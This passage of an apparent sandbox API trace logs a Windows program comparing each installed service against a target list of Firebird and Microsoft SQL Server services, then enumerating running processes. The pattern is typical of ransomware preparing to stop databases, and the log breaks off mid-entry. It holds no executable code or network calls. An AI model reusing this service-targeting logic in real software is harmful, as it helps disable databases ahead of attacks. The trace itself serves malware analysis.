(lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0285.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0285.413] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0285.413] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0285.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0285.413] lstrlenW (lpString="Audiosrv") returned 8 [0285.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0285.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0285.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0285.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0285.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0285.413] lstrlenW (lpString="BFE") returned 3 [0285.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0285.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0285.413] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0285.413] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0285.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0285.413] lstrlenW (lpString="BITS") returned 4 [0285.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0285.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0285.413] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0285.413] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0285.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0285.413] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0285.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0285.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0285.413] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0285.413] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0285.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0285.413] lstrlenW (lpString="CDPSvc") returned 6 [0285.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0285.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0285.413] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0285.413] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0285.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0285.413] lstrlenW (lpString="ClickToRunSvc") returned 13 [0285.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0285.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0285.413] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0285.413] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0285.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0285.414] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0285.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0285.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0285.414] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0285.414] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0285.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0285.414] lstrlenW (lpString="CryptSvc") returned 8 [0285.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0285.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0285.414] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0285.414] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0285.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0285.414] lstrlenW (lpString="DcomLaunch") returned 10 [0285.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0285.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0285.414] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0285.414] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0285.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0285.414] lstrlenW (lpString="DeviceAssociationService") returned 24 [0285.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0285.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0285.414] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0285.414] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0285.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0285.414] lstrlenW (lpString="Dhcp") returned 4 [0285.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0285.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0285.414] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0285.414] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0285.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0285.414] lstrlenW (lpString="Dnscache") returned 8 [0285.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0285.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0285.414] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0285.414] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0285.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0285.414] lstrlenW (lpString="DPS") returned 3 [0285.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0285.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0285.415] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0285.415] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0285.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0285.415] lstrlenW (lpString="DusmSvc") returned 7 [0285.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0285.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0285.415] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0285.415] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0285.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0285.415] lstrlenW (lpString="EventLog") returned 8 [0285.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0285.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0285.415] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0285.415] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0285.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0285.415] lstrlenW (lpString="EventSystem") returned 11 [0285.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0285.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0285.415] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0285.415] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0285.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0285.415] lstrlenW (lpString="FontCache") returned 9 [0285.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0285.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0285.415] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0285.415] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0285.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0285.415] lstrlenW (lpString="gpsvc") returned 5 [0285.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0285.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0285.415] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0285.415] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0285.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0285.415] lstrlenW (lpString="iphlpsvc") returned 8 [0285.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0285.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0285.415] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0285.416] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0285.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0285.416] lstrlenW (lpString="KeyIso") returned 6 [0285.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0285.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0285.416] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0285.416] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0285.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0285.416] lstrlenW (lpString="LanmanServer") returned 12 [0285.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0285.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0285.416] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0285.416] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0285.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0285.416] lstrlenW (lpString="LanmanWorkstation") returned 17 [0285.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0285.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0285.416] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0285.416] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0285.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0285.416] lstrlenW (lpString="lfsvc") returned 5 [0285.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0285.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0285.416] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0285.416] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0285.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0285.416] lstrlenW (lpString="lmhosts") returned 7 [0285.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0285.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0285.416] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0285.416] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0285.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0285.416] lstrlenW (lpString="LSM") returned 3 [0285.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0285.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0285.416] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0285.416] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0285.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0285.417] lstrlenW (lpString="MpsSvc") returned 6 [0285.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0285.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0285.417] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0285.417] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0285.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0285.417] lstrlenW (lpString="NcbService") returned 10 [0285.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0285.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0285.417] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0285.417] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0285.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0285.417] lstrlenW (lpString="netprofm") returned 8 [0285.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0285.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0285.417] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0285.417] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0285.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0285.417] lstrlenW (lpString="NgcSvc") returned 6 [0285.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0285.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0285.417] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0285.417] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0285.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0285.417] lstrlenW (lpString="NlaSvc") returned 6 [0285.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0285.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0285.417] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0285.417] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0285.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0285.417] lstrlenW (lpString="nsi") returned 3 [0285.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0285.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0285.417] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0285.417] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0285.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0285.417] lstrlenW (lpString="PcaSvc") returned 6 [0285.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0285.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0285.418] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0285.418] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0285.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0285.418] lstrlenW (lpString="PlugPlay") returned 8 [0285.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0285.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0285.418] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0285.418] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0285.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0285.418] lstrlenW (lpString="Power") returned 5 [0285.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0285.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0285.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0285.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0285.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0285.418] lstrlenW (lpString="ProfSvc") returned 7 [0285.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0285.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0285.418] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0285.418] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0285.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0285.418] lstrlenW (lpString="RpcEptMapper") returned 12 [0285.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0285.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0285.418] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0285.418] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0285.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0285.418] lstrlenW (lpString="RpcSs") returned 5 [0285.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0285.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0285.418] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0285.418] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0285.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0285.418] lstrlenW (lpString="SamSs") returned 5 [0285.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0285.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0285.418] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0285.418] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0285.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0285.419] lstrlenW (lpString="Schedule") returned 8 [0285.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0285.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0285.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0285.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0285.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0285.419] lstrlenW (lpString="SecurityHealthService") returned 21 [0285.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0285.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0285.419] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0285.419] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0285.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0285.419] lstrlenW (lpString="SENS") returned 4 [0285.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0285.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0285.419] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0285.419] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0285.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0285.419] lstrlenW (lpString="ShellHWDetection") returned 16 [0285.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0285.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0285.419] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0285.419] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0285.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0285.419] lstrlenW (lpString="Spooler") returned 7 [0285.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0285.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0285.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0285.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0285.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0285.419] lstrlenW (lpString="SSDPSRV") returned 7 [0285.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0285.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0285.419] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0285.419] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0285.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0285.419] lstrlenW (lpString="StateRepository") returned 15 [0285.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0285.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0285.419] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0285.419] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0285.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0285.419] lstrlenW (lpString="SysMain") returned 7 [0285.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0285.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0285.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0285.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0285.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0285.420] lstrlenW (lpString="SystemEventsBroker") returned 18 [0285.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0285.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0285.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0285.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0285.420] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7ad468 | out: hHeap=0x730000) returned 1 [0285.420] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xf8c [0285.479] Process32FirstW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0285.480] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0285.480] lstrlenW (lpString="System") returned 6 [0285.480] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0285.481] lstrlenW (lpString="smss.exe") returned 8 [0285.481] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.481] lstrlenW (lpString="csrss.exe") returned 9 [0285.481] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0285.482] lstrlenW (lpString="wininit.exe") returned 11 [0285.482] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.483] lstrlenW (lpString="csrss.exe") returned 9 [0285.483] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0285.483] lstrlenW (lpString="winlogon.exe") returned 12 [0285.483] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0285.484] lstrlenW (lpString="services.exe") returned 12 [0285.484] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0285.485] lstrlenW (lpString="lsass.exe") returned 9 [0285.485] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0285.485] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0285.486] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: 